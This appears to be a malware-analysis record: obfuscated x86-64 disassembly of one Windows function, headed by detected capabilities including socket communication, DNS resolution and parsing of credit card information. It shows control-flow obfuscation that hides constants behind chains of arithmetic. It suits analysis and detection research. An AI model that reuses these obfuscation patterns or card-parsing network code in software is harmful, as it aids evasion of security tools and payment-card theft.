Function at 0x140303486
Capabilities:
Authenticate hmac
Check http status code
Connect socket
Hash data using murmur3
Parse credit card information
Parse pe header
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push rax
pushf
mov eax, 0x7ff055f0
pushf
not eax
add eax, 0x84d39064
xor eax, 0xcf9670b5
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xf923b3e1
xor eax, 0xb9d339b4
rol eax, 0x15
popf
pushf
not eax
add eax, 0xf5382f7f
xor eax, 0xc5b60101
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xc1011dff
xor eax, 0xa331a294
rol eax, 0x77
popf
cmp eax, 0x59
jne 0x1403034e9
popf
pop rax
jmp 0x140306d99
cmp eax, 0x48
jne 0x1403034f8
popf
pop rax
jmp 0x14030641b
cmp eax, 0x3f
jne 0x140303507
popf
pop rax
jmp 0x140305e6f
cmp eax, 1
jne 0x140303516
popf
pop rax
jmp 0x140303b6d
cmp eax, 0x4a
jne 0x140303525
popf
pop rax
jmp 0x140306566
cmp eax, 0x1a
jne 0x140303534
popf
pop rax
jmp 0x1403047ee
cmp eax, 0x5d
jne 0x140303543
popf
pop rax
jmp 0x140307114
cmp eax, 0x58
jne 0x140303552
popf
pop rax
jmp 0x140306c54
cmp eax, 0x40
jne 0x140303561
popf
pop rax
jmp 0x140305f2e
cmp eax, 8
jne 0x140303570
popf
pop rax
jmp 0x140303f68
cmp eax, 0x2a
jne 0x14030357f
popf
pop rax
jmp 0x1403051ef
cmp eax, 0x17
jne 0x14030358e
popf
pop rax
jmp 0x1403046e2
cmp eax, 0x1c
jne 0x14030359d
popf
pop rax
jmp 0x1403049bd
cmp eax, 0x2e
jne 0x1403035ac
popf
pop rax
jmp 0x140305466
cmp eax, 0x4c
jne 0x1403035bb
popf
pop rax
jmp 0x1403066a3
cmp eax, 0x2b
jne 0x1403035ca
popf
pop rax
jmp 0x14030523a
cmp eax, 0x1b
jne 0x1403035d9
popf
pop rax
jmp 0x140304870
cmp eax, 0x2d
jne 0x1403035e8
popf
pop rax
jmp 0x1403053b1
cmp eax, 0x23
jne 0x1403035f7
popf
pop rax
jmp 0x140304e57
cmp eax, 0x5b
jne 0x140303606
popf
pop rax
jmp 0x140306e8e
cmp eax, 0x43
jne 0x140303615
popf
pop rax
jmp 0x14030612e
cmp eax, 0x13
jne 0x140303624
popf
pop rax
jmp 0x140304488
cmp eax, 0x33
jne 0x140303633
popf
pop rax
jmp 0x140305784
cmp eax, 0x24
jne 0x140303642
popf
pop rax
jmp 0x140304ee7
cmp eax, 0x1e
jne 0x140303651
popf
pop rax
jmp 0x140304be9
cmp eax, 0xc
jne 0x140303660
popf
pop rax
jmp 0x14030416f
cmp eax, 0x26
jne 0x14030366f
popf
pop rax
jmp 0x140304fe2
cmp eax, 0x27
jne 0x14030367e
popf
pop rax
jmp 0x140305042
cmp eax, 0x30
jne 0x14030368d
popf
pop rax
jmp 0x140305618
cmp eax, 0x10
jne 0x14030369c
popf
pop rax
jmp 0x140304381
cmp eax, 0x37
jne 0x1403036ab
popf
pop rax
jmp 0x1403059d1
cmp eax, 9
jne 0x1403036ba
popf
pop rax
jmp 0x14030400e
cmp eax, 0x39
jne 0x1403036c9
popf
pop rax
jmp 0x140305b25
cmp eax, 0x16
jne 0x1403036d8
popf
pop rax
jmp 0x140304609
cmp eax, 0x3b
jne 0x1403036e7
popf
pop rax
jmp 0x140305c6e
cmp eax, 0x4b
jne 0x1403036f6
popf
pop rax
jmp 0x140306666
cmp eax, 0x36
jne 0x140303705
popf
pop rax
jmp 0x14030593c
cmp eax, 0x14
jne 0x140303714
popf
pop rax
jmp 0x14030452b
cmp eax, 0x60
jne 0x140303723
popf
pop rax
jmp 0x14030728b
cmp eax, 0x3d
jne 0x140303732
popf
pop rax
jmp 0x140305d70
cmp eax, 2
jne 0x140303741
popf
pop rax
jmp 0x140303c00
cmp eax, 0x47
jne 0x140303750
popf
pop rax
jmp 0x140306361
cmp eax, 0x51
jne 0x14030375f
popf
pop rax
jmp 0x1403069bc
cmp eax, 0x11
jne 0x14030376e
popf
pop rax
jmp 0x140304416
cmp eax, 0x35
jne 0x14030377d
popf
pop rax
jmp 0x140305894
cmp eax, 0x3a
jne 0x14030378c
popf
pop rax
jmp 0x140305bdb
cmp eax, 0x12
jne 0x14030379b
popf
pop rax
jmp 0x140304452
cmp eax, 0x21
jne 0x1403037aa
popf
pop rax
jmp 0x140304d7b
cmp eax, 0x38
jne 0x1403037b9
popf
pop rax
jmp 0x140305a7d
cmp eax, 0xb
jne 0x1403037c8
popf
pop rax
jmp 0x1403040bc
cmp eax, 0x5c
jne 0x1403037d7
popf
pop rax
jmp 0x140306f33
cmp eax, 0x15
jne 0x1403037e6
popf
pop rax
jmp 0x1403045d3
cmp eax, 5
jne 0x1403037f5
popf
pop rax
jmp 0x140303daa
cmp eax, 6
jne 0x140303804
popf
pop rax
jmp 0x140303e50
cmp eax, 0x5a
jne 0x140303813
popf
pop rax
jmp 0x140306dfc
cmp eax, 0x49
jne 0x140303822
popf
pop rax
jmp 0x1403064c1
cmp eax, 0x1f
jne 0x140303831
popf
pop rax
jmp 0x140304c45
cmp eax, 4
jne 0x140303840
popf
pop rax
jmp 0x140303d14
cmp eax, 0x2f
jne 0x14030384f
popf
pop rax
jmp 0x140305521
cmp eax, 0x4d
jne 0x14030385e
popf
pop rax
jmp 0x14030673f
cmp eax, 0x55
jne 0x14030386d
popf
pop rax
jmp 0x140306ad6
cmp eax, 0x45
jne 0x14030387c
popf
pop rax
jmp 0x140306292
cmp eax, 0x2c
jne 0x14030388b
popf
pop rax
jmp 0x1403052cb
cmp eax, 0x5f
jne 0x14030389a
popf
pop rax
jmp 0x140307203
cmp eax, 0x19
jne 0x1403038a9
popf
pop rax
jmp 0x14030477f
cmp eax, 0x1d
jne 0x1403038b8
popf
pop rax
jmp 0x140304b7d
cmp eax, 0x61
jne 0x1403038c7
popf
pop rax
jmp 0x1403072e6
cmp eax, 0x53
jne 0x1403038d6
popf
pop rax
jmp 0x140306a80
cmp eax, 0x4f
jne 0x1403038e5
popf
pop rax
jmp 0x14030682e
cmp eax, 0x42
jne 0x1403038f4
popf
pop rax
jmp 0x140306099
cmp eax, 7
jne 0x140303903
popf
pop rax
jmp 0x140303e86
cmp eax, 0x20
jne 0x140303912
popf
pop rax
jmp 0x140304ce3
cmp eax, 0x56
jne 0x140303921
popf
pop rax
jmp 0x140306b7d
cmp eax, 0x3c
jne 0x140303930
popf
pop rax
jmp 0x140305ca4
cmp eax, 0xd
jne 0x14030393f
popf
pop rax
jmp 0x140304204
cmp eax, 0xa
jne 0x14030394e
popf
pop rax
jmp 0x140304073
cmp eax, 0x18
jne 0x14030395d
popf
pop rax
jmp 0x140304745
cmp eax, 0x28
jne 0x14030396c
popf
pop rax
jmp 0x1403050e3
cmp eax, 0x22
jne 0x14030397b
popf
pop rax
jmp 0x140304dd8
cmp eax, 0x50
jne 0x14030398a
popf
pop rax
jmp 0x1403068f2
cmp eax, 0x52
jne 0x140303999
popf
pop rax
jmp 0x140306a42
cmp eax, 0x41
jne 0x1403039a8
popf
pop rax
jmp 0x140305fd6
cmp eax, 0xe
jne 0x1403039b7
popf
pop rax
jmp 0x140304250
cmp eax, 0x32
jne 0x1403039c6
popf
pop rax
jmp 0x140305739
cmp eax, 0x29
jne 0x1403039d5
popf
pop rax
jmp 0x14030515d
cmp eax, 0x3e
jne 0x1403039e4
popf
pop rax
jmp 0x140305e05
cmp eax, 0
jne 0x1403039f3
popf
pop rax
jmp 0x140303aa7
cmp eax, 0x4e
jne 0x140303a02
popf
pop rax
jmp 0x1403067f8
cmp eax, 0x31
jne 0x140303a11
popf
pop rax
jmp 0x140305692
cmp eax, 0x62
jne 0x140303a20
popf
pop rax
jmp 0x14030736b
cmp eax, 0x5e
jne 0x140303a2f
popf
pop rax
jmp 0x1403071a7
cmp eax, 0x25
jne 0x140303a3e
popf
pop rax
jmp 0x140304f4d
cmp eax, 0xf
jne 0x140303a4d
popf
pop rax
jmp 0x140304319
cmp eax, 0x44
jne 0x140303a5c
popf
pop rax
jmp 0x1403061fd
cmp eax, 0x57
jne 0x140303a6b
popf
pop rax
jmp 0x140306be9
cmp eax, 3
jne 0x140303a7a
popf
pop rax
jmp 0x140303c5c
cmp eax, 0x46
jne 0x140303a89
popf
pop rax
jmp 0x1403062e3
cmp eax, 0x34
jne 0x140303a98
popf
pop rax
jmp 0x1403057d9
cmp eax, 0x54
jne 0x140303aa7
popf
pop rax
jmp 0x140306acd
mov byte [rsp + 0x10], dl
push rbp
push rdi
push r15
lea rbp, [rsp - 0x7d0]
sub rsp, 0x8d0
cmp qword [rcx + 0x10], 0x200
mov r15, r8
mov rdi, rcx
jb 0x140303b14
push rax
pushf
mov eax, 0xcc7bb623
pushf
not eax
add eax, 0xcf7a2ba7
xor eax, 0xa645c9b9
rol eax, 0x32
popf
pushf
not eax
add eax, 0xf939ad08
xor eax, 0xcd8def04
rol eax, 0x5c
popf
pushf
not eax
add eax, 0x8c0f4ea9
xor eax, 0xafb21f57
rol eax, 0x50
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x227c00f8
pushf
not eax
add eax, 0xe25190d5
xor eax, 0xc041176f
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xfe168f4a
xor eax, 0x81a978ea
rol eax, 0x31
popf
pushf
not eax
add eax, 0xf34d626c
xor eax, 0xff9ab73c
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xac1b6e5b
xor eax, 0xaa230444
rol eax, 0x30
popf
jmp 0x1403034da
cmp qword [rcx + 0x18], 0xf
jbe 0x140303ba7
push rax
pushf
mov eax, 0x3c4f63bb
pushf
not eax
add eax, 0xbde3c8fe
xor eax, 0x9e47dbdf
rol eax, 0xf6
popf
pushf
not eax
add eax, 0x945c0ada
xor eax, 0xed1415eb
rol eax, 0xe1
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x5c4c67c6
pushf
not eax
add eax, 0xde4130a6
xor eax, 0xb3fae1b2
rol eax, 0x29
popf
pushf
not eax
add eax, 0x9a54ff71
xor eax, 0xea139da5
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xccae349c
xor eax, 0xd0d89a0c
rol eax, 0x6c
popf
pushf
not eax
add eax, 0x82697abc
xor eax, 0xe254149c
rol eax, 0x84
popf
jmp 0x1403034da
mov rdi, qword [rcx]
push rax
pushf
mov eax, 0xf7005b06
pushf
not eax
add eax, 0xaed81435
xor eax, 0xdbb9c2c3
rol eax, 0x96
popf
pushf
not eax
add eax, 0xd7636a0a
xor eax, 0xf4360620
rol eax, 0xca
popf
pushf
not eax
add eax, 0xa91893ee
xor eax, 0x9e4e94fc
rol eax, 0x19
popf
pushf
not eax
add eax, 0xf7ec1762
xor eax, 0x9588a34a
rol eax, 0xdc
popf
jmp 0x1403034da
mov ecx, 0xb6fe76f0
pushf
not ecx
add ecx, 0x8b1c59bb
xor ecx, 0xefd34528
rol ecx, 0x6c
popf
pushf
not ecx
add ecx, 0xbc24806b
xor ecx, 0xd1a65cbe
rol ecx, 0x7d
popf
call fcn.1401cba75
mov r8, rdi
lea rdx, [0x1bb2c497b]
pushf
sub rdx, 0x7b2326b3
popf
mov rcx, rax
call fcn.14014868a
xor eax, eax
add rsp, 0x8d0
pop r15
pop rdi
pop rbp
ret
cmp qword [r8 + 0x10], 0xc8
jb 0x140303d51
push rax
pushf
mov eax, 0x5221724
pushf
not eax
add eax, 0x8d88bf2d
xor eax, 0xd1b072ce
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xae5eeee9
xor eax, 0xd30622ee
rol eax, 0xfa
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x8063b3ef
pushf
not eax
add eax, 0x93744fdd
xor eax, 0xc40f8952
rol eax, 0x53
popf
pushf
not eax
add eax, 0xe291ec24
xor eax, 0x9e750707
rol eax, 0x50
popf
pushf
not eax
add eax, 0xd5c579e3
xor eax, 0xc8c9740b
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xb53032a3
xor eax, 0xdadbb5e5
rol eax, 0x98
popf
jmp 0x1403034da
cmp qword [r8 + 0x18], 0xf
jbe 0x140303df7
push rax
pushf
mov eax, 0x435e7e17
pushf
not eax
add eax, 0xae1a1331
xor eax, 0xf6f19041
rol eax, 0x17
popf
pushf
not eax
add eax, 0x9ec296d6
xor eax, 0xcc9c91cb
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xc3484bbc
xor eax, 0x974543de
rol eax, 0x85
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0xf68bea80
pushf
not eax
add eax, 0x8242820d
xor eax, 0xb966d0e5
rol eax, 0x46
popf
pushf
not eax
add eax, 0xdc4f60ad
xor eax, 0xa2c4bb33
rol eax, 0xf4
popf
pushf
not eax
add eax, 0x9f059edf
xor eax, 0xa3035ce6
rol eax, 0xb6
popf
pushf
not eax
add eax, 0x8cff66a4
xor eax, 0xa1b8b2b7
rol eax, 0x2e
popf
jmp 0x1403034da
mov r15, qword [r8]
push rax
pushf
mov eax, 0x5d683cc2
pushf
not eax
add eax, 0xdb5863ff
xor eax, 0xf6526553
rol eax, 0x87
popf
pushf
not eax
add eax, 0x980bbf12
xor eax, 0xc6e9074c
rol eax, 0xd1
popf
jmp 0x1403034da
mov ecx, 0xc2bf717d
pushf
not ecx
add ecx, 0xd1e51458
xor ecx, 0xd01a6445
rol ecx, 0x92
popf
pushf
not ecx
add ecx, 0xdad3e75d
xor ecx, 0xd10a3617
rol ecx, 0x41
popf
pushf
not ecx
add ecx, 0x935c8110
xor ecx, 0xf649884b
rol ecx, 0x2f
popf
pushf
not ecx
add ecx, 0xc151f7a6
xor ecx, 0xa539b43a
rol ecx, 0x27
popf
call fcn.1401cba75
mov r8, r15
lea rdx, [0x1a1f5fe1e]
pushf
sub rdx, 0x61ecdb2e
popf
mov rcx, rax
call fcn.14014868a
xor eax, eax
add rsp, 0x8d0
pop r15
pop rdi
pop rbp
ret
cmp qword [rcx + 0x18], 0xf
mov qword [rsp + 0x8c8], rbx
lea rbx, [rcx + 0x18]
mov qword [rsp + 0x8c0], rsi
jbe 0x140303fc9
push rax
pushf
mov eax, 0xfb9b2c46
pushf
not eax
add eax, 0xa0e2e322
xor eax, 0xc15787e9
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xe48ead33
xor eax, 0xa37cad36
rol eax, 0x69
popf
pushf
not eax
add eax, 0xead8795f
xor eax, 0xdc95684b
rol eax, 0x3b
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x9891b8d3
pushf
not eax
add eax, 0x99a9212f
xor eax, 0xf6726ca4
rol eax, 0xed
popf
pushf
not eax
add eax, 0xba9bda93
xor eax, 0xb1fe9f48
rol eax, 1
popf
pushf
not eax
add eax, 0xe3243f31
xor eax, 0x93199d53
rol eax, 0xb6
popf
jmp 0x1403034da
mov rcx, qword [rcx]
lea rsi, [rdi + 0x18]
jmp 0x1403040bc
mov rsi, rbx
push rax
pushf
mov eax, 0x59ee9e5c
pushf
not eax
add eax, 0xbc7878e2
xor eax, 0xbffd5101
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xe1c27d4e
xor eax, 0xaa05d478
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xaec07255
xor eax, 0xd15d5762
rol eax, 0xce
popf
jmp 0x1403034da
lea rax, [rbp + 0x5b0]
lea r9, [rbp + 0x7f8]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x3b0]
lea rdx, [0x1806dbc61]
pushf
sub rdx, 0x40649949
popf
call fcn.1401f330a
cmp eax, 3
je 0x140304129
push rax
pushf
mov eax, 0x61a083f6
pushf
not eax
add eax, 0xf5887feb
xor eax, 0xf0e00c29
rol eax, 0x41
popf
pushf
not eax
add eax, 0x81037ec9
xor eax, 0xbaf38f16
rol eax, 0x1f
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0xda7fc2ed
pushf
not eax
add eax, 0xfe00eb30
xor eax, 0xa46db898
rol eax, 0x85
popf
pushf
not eax
add eax, 0x90cad152
xor eax, 0xbc6b53f3
rol eax, 0xe1
popf
pushf
not eax
add eax, 0x9eee791b
xor eax, 0xc046ad3a
rol eax, 0x61
popf
jmp 0x1403034da
cmp qword [rbx], 0xf
mov rcx, rdi
jbe 0x1403041d1
push rax
pushf
mov eax, 0x3728c078
pushf
not eax
add eax, 0xb0ccb519
xor eax, 0x8d3127c7
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xab5f1b6c
xor eax, 0xf407dc3d
rol eax, 0xef
popf
pushf
not eax
add eax, 0xe6d2f7ca
xor eax, 0xa6981ba3
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xc1bb91e9
xor eax, 0xad3f27c7
rol eax, 0xe9
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x611fd791
pushf
not eax
add eax, 0xad6efd21
xor eax, 0xe57fa5df
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xa264550c
xor eax, 0x825036bf
rol eax, 0x17
popf
jmp 0x1403034da
mov rcx, qword [rdi]
mov rbx, rsi
push rax
pushf
mov eax, 0x9a15e3cb
pushf
not eax
add eax, 0x8d51d598
xor eax, 0xcaf15837
rol eax, 0x60
popf
pushf
not eax
add eax, 0xcfcf6330
xor eax, 0xf3f22e8e
rol eax, 0x31
popf
pushf
not eax
add eax, 0xd6fe29e6
xor eax, 0xa4095df8
rol eax, 0x2a
popf
jmp 0x1403034da
lea r9, [rbp + 0x5b0]
lea r8, [rbp + 0x3b0]
lea rdx, [0x1a4b83571]
pushf
sub rdx, 0x64af1241
popf
call fcn.1401f330a
cmp eax, 2
jne 0x1403042d3
push rax
pushf
mov eax, 0x75cf70a5
pushf
not eax
add eax, 0x9c949259
xor eax, 0xacf224f5
rol eax, 0x87
popf
pushf
not eax
add eax, 0x910f53cf
xor eax, 0x8149c2ae
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xc59205ef
xor eax, 0xd9c9b63f
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xeb743671
xor eax, 0xdecb3d09
rol eax, 0x9b
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x5f3460c0
pushf
not eax
add eax, 0x859b3e4f
xor eax, 0xcb4a8c20
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xdb175b7d
xor eax, 0xb826453b
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xfd27e343
xor eax, 0x80e28bbe
rol eax, 0xa0
popf
jmp 0x1403034da
mov dword [rbp + 0x7f8], 0x50
jmp 0x14030477f
cmp qword [rbx], 0xf
mov rcx, rdi
jbe 0x1403043bd
push rax
pushf
mov eax, 0x3e4f93f2
pushf
not eax
add eax, 0x85fa7e43
xor eax, 0xfa3fd04c
rol eax, 0xd6
popf
pushf
not eax
add eax, 0x81120a0d
xor eax, 0xd9e2a4bc
rol eax, 0x83
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0xab4a7c8e
pushf
not eax
add eax, 0xf6a31ca4
xor eax, 0x95280f07
rol eax, 0x5f
popf
pushf
not eax
add eax, 0x97907f9d
xor eax, 0xa5f91d5e
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xd1665a8c
xor eax, 0xf96faee2
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xc9154cf9
xor eax, 0x8f3afd18
rol eax, 0xb4
popf
jmp 0x1403034da
mov rcx, qword [rdi]
lea rsi, [rdi + 0x18]
jmp 0x140304488
mov rsi, rbx
push rax
pushf
mov eax, 0x19fb690d
pushf
not eax
add eax, 0xf0fabe48
xor eax, 0xb7866336
rol eax, 0x3c
popf
pushf
not eax
add eax, 0x8e0baf17
xor eax, 0xc6c41bb6
rol eax, 0xac
popf
jmp 0x1403034da
lea r9, [rbp + 0x7f8]
lea r8, [rbp + 0x3b0]
lea rdx, [0x1b8f04bfd]
pushf
sub rdx, 0x78e728bd
popf
call fcn.1401f330a
cmp eax, 2
je 0x1403044f8
push rax
pushf
mov eax, 0x5f16c80d
pushf
not eax
add eax, 0x8a1129b3
xor eax, 0xba61f58d
rol eax, 0x86
popf
pushf
not eax
add eax, 0xf3b81236
xor eax, 0xa8f12261
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xeed1e412
xor eax, 0x8fafb9a1
rol eax, 0x2a
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x36bc6fca
pushf
not eax
add eax, 0xbca3e71f
xor eax, 0xe929b86e
rol eax, 0x65
popf
pushf
not eax
add eax, 0x954fe705
xor eax, 0xfb75ffb1
rol eax, 2
popf
jmp 0x1403034da
cmp qword [rbx], 0xf
mov rcx, rdi
jbe 0x14030457a
push rax
pushf
mov eax, 0xc0a31dc6
pushf
not eax
add eax, 0xffe511c5
xor eax, 0xe71fe783
rol eax, 0xad
popf
pushf
not eax
add eax, 0x9f8554a2
xor eax, 0xb669fde9
rol eax, 0x3f
popf
pushf
not eax
add eax, 0x9e1a2f66
xor eax, 0xbccbfd26
rol eax, 6
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x712617d1
pushf
not eax
add eax, 0xda343cfa
xor eax, 0xd6a12240
rol eax, 0xff
popf
pushf
not eax
add eax, 0x9cefa3eb
xor eax, 0xb2278d8d
rol eax, 0x3a
popf
pushf
not eax
add eax, 0x8ec80562
xor eax, 0xe9f1d466
rol eax, 0xba
popf
pushf
not eax
add eax, 0xbf1b8f84
xor eax, 0x89fea438
rol eax, 0xb1
popf
jmp 0x1403034da
mov rcx, qword [rdi]
push rax
pushf
mov eax, 0x78fa1bd3
pushf
not eax
add eax, 0xfd2b036c
xor eax, 0x998f7dd4
rol eax, 0x40
popf
pushf
not eax
add eax, 0x9611272f
xor eax, 0xb8518ce0
rol eax, 0x63
popf
jmp 0x1403034da
lea r8, [rbp + 0x3b0]
lea rdx, [0x183748601]
pushf
sub rdx, 0x436b62b1
popf
call fcn.1401f330a
cmp eax, 1
jne 0x140304689
push rax
pushf
mov eax, 0x67dd14
pushf
not eax
add eax, 0x978033e2
xor eax, 0xf80d8e3c
rol eax, 0x63
popf
pushf
not eax
add eax, 0xd53f005e
xor eax, 0xd5282291
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xdf12c043
xor eax, 0xc2b81901
rol eax, 0x92
popf
pushf
not eax
add eax, 0xcd45d1f7
xor eax, 0xe5f1690f
rol eax, 0x46
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x2446f72a
pushf
not eax
add eax, 0x86aeb1ee
xor eax, 0xd6d0bfdb
rol eax, 0x5e
popf
pushf
not eax
add eax, 0x894bb6d9
xor eax, 0xf633c0e5
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xb1cdabfe
xor eax, 0x92d4e3c4
rol eax, 0x48
popf
pushf
not eax
add eax, 0x8405d555
xor eax, 0xb1930856
rol eax, 0x2e
popf
jmp 0x1403034da
mov dword [rbp + 0x7f8], 0x50
push rax
pushf
mov eax, 0xf21d524
pushf
not eax
add eax, 0xe9ef4dac
xor eax, 0xbb7840b0
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xc7034dce
xor eax, 0xfde9974a
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xf738a69e
xor eax, 0xa19159d3
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xf9a5d6cd
xor eax, 0x822c9f3b
rol eax, 0x9c
popf
jmp 0x1403034da
mov byte [rbp + 0x5b0], 0
push rax
pushf
mov eax, 0xacdf2df4
pushf
not eax
add eax, 0xc57f6104
xor eax, 0xe54735d8
rol eax, 0x95
popf
pushf
not eax
add eax, 0x81770634
xor eax, 0xa5574953
rol eax, 0xb
popf
jmp 0x1403034da
mov ebx, dword [rbp + 0x7f8]
lea rax, [rbp + 0x3b0]
mov qword [rsp + 0x8b8], r12
xorps xmm0, xmm0
xor r12d, r12d
mov qword [rsp + 0x8b0], r14
mov r14, 0xffffffffffffffff
mov qword [rsp + 0x58], r12
mov r8, r14
mov qword [rsp + 0x60], r12
movups xmmword [rsp + 0x48], xmm0
push rax
pushf
mov eax, 0xb291ab38
pushf
not eax
add eax, 0xb6df540a
xor eax, 0xd7631f6d
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xc7dbc88f
xor eax, 0xfc2dd96e
rol eax, 0xdf
popf
jmp 0x1403034da
inc r8
cmp byte [rax + r8], r12b
jne 0x14030482a
push rax
pushf
mov eax, 0x44c415de
pushf
not eax
add eax, 0xad4d846d
xor eax, 0xe634a072
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xd24bf432
xor eax, 0x9659b4ba
rol eax, 0x19
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0xce603c5a
pushf
not eax
add eax, 0xe81e0962
xor eax, 0xf0b21405
rol eax, 3
popf
pushf
not eax
add eax, 0xa7ebf414
xor eax, 0xeb12456b
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xe054d206
xor eax, 0x985de890
rol eax, 0x40
popf
jmp 0x1403034da
lea rdx, [rbp + 0x3b0]
lea rcx, [rsp + 0x48]
call fcn.1401f33be
xorps xmm0, xmm0
lea r8, [0x1acc816f2]
pushf
sub r8, 0x6cbef4e2
popf
movups xmmword [rsp + 0x78], xmm0
mov r9d, ebx
mov dword [rbp - 0x80], 1
mov edx, 0xbecd0878
pushf
not edx
add edx, 0x8e16e897
xor edx, 0xee6c6716
rol edx, 0x68
popf
pushf
not edx
add edx, 0x81d3dd7b
xor edx, 0x97ea62d1
rol edx, 0x28
popf
pushf
not edx
add edx, 0x8cb54a48
xor edx, 0xe13ed78b
rol edx, 0xfe
popf
pushf
not edx
add edx, 0x884ce18b
xor edx, 0xc75c1bcd
rol edx, 0x6e
popf
lea rcx, [rsp + 0x68]
mov rsi, r14
movups xmmword [rbp - 0x78], xmm0
movups xmmword [rbp - 0x68], xmm0
call fcn.140191fec
cmp qword [rsp + 0x60], 0xf
lea rcx, [rsp + 0x48]
lea r9, [rbp + 0x7f0]
cmova rcx, qword [rsp + 0x48]
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x68]
jmp 0x140304936
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x140304977
push rax
pushf
mov eax, 0x2b2337d2
pushf
not eax
add eax, 0xfb91ffc2
xor eax, 0xcd5ceb61
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xda7a76ff
xor eax, 0xb6f329f3
rol eax, 0x7b
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x4e6a05f6
pushf
not eax
add eax, 0xc802881b
xor eax, 0x9537e65c
rol eax, 0xc
popf
pushf
not eax
add eax, 0x87d56cf1
xor eax, 0xcd5736ea
rol eax, 0xab
popf
pushf
not eax
add eax, 0xc8c0adea
xor eax, 0xf13a4b03
rol eax, 0xcf
popf
jmp 0x1403034da
mov qword [rsp + 0x30], r12
lea rbx, [0x1938fd3fd]
pushf
sub rbx, 0x53854e9d
popf
mov dword [rsp + 0x28], 0x400
mov r9d, 0x1d8be6ef
pushf
not r9d
add r9d, 0xa420c764
xor r9d, 0xd292696c
rol r9d, 0x93
popf
pushf
not r9d
add r9d, 0xde99d860
xor r9d, 0xabe83ddd
rol r9d, 0xea
popf
pushf
not r9d
add r9d, 0x9a566782
xor r9d, 0xa874c583
rol r9d, 0xe9
popf
pushf
not r9d
add r9d, 0x8a38d745
xor r9d, 0xf5a2c2da
rol r9d, 0x69
popf
mov r8d, eax
mov qword [rsp + 0x20], rbx
xor edx, edx
mov ecx, 0xf73fdbf5
pushf
not ecx
add ecx, 0x8f6f4441
xor ecx, 0xf57f2d96
rol ecx, 0x60
popf
pushf
not ecx
add ecx, 0xd35e627e
xor ecx, 0x87aaddda
rol ecx, 0x12
popf
pushf
not ecx
add ecx, 0xcf8f88b3
xor ecx, 0x941f117b
rol ecx, 0xca
popf
pushf
not ecx
add ecx, 0xbe5aa432
xor ecx, 0xd20f4d5b
rol ecx, 0x3b
popf
jmp 0x140304aaa
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
mov ecx, 0xca741c8a
pushf
not ecx
add ecx, 0xb4006b37
xor ecx, 0xf4692a8a
rol ecx, 5
popf
pushf
not ecx
add ecx, 0xae780bae
xor ecx, 0xf1cb82ea
rol ecx, 0x37
popf
call fcn.1401cba75
mov r8, rbx
lea rdx, [0x1b6e55ce3]
pushf
sub rdx, 0x76dc3acb
popf
mov rcx, rax
call fcn.14014868a
mov esi, 0x63b4f332
pushf
not esi
add esi, 0xc8289abf
xor esi, 0xaa2073e9
rol esi, 0xb8
popf
pushf
not esi
add esi, 0x991046d0
xor esi, 0xd27d52d8
rol esi, 0xd8
popf
pushf
not esi
add esi, 0xe60279ab
xor esi, 0xc2213d0b
rol esi, 0x60
popf
jmp 0x14030504c
cmp qword [rsi], 0xf
jbe 0x140304bb6
push rax
pushf
mov eax, 0x56aed1d6
pushf
not eax
add eax, 0x9d8bc0bc
xor eax, 0xe36219da
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xab1e6c0e
xor eax, 0xed4e82e6
rol eax, 0x9e
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x80a9961e
pushf
not eax
add eax, 0xfaf0f5a1
xor eax, 0xe6535039
rol eax, 4
popf
pushf
not eax
add eax, 0x93048756
xor eax, 0xd13b8b9c
rol eax, 0x6d
popf
jmp 0x1403034da
mov rdi, qword [rdi]
push rax
pushf
mov eax, 0x11fa7f54
pushf
not eax
add eax, 0xd8c87667
xor eax, 0xa8e62ebc
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xa80f0003
xor eax, 0xa44a07d0
rol eax, 8
popf
pushf
not eax
add eax, 0x82976d5b
xor eax, 0xf16687d3
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xe1f1ce04
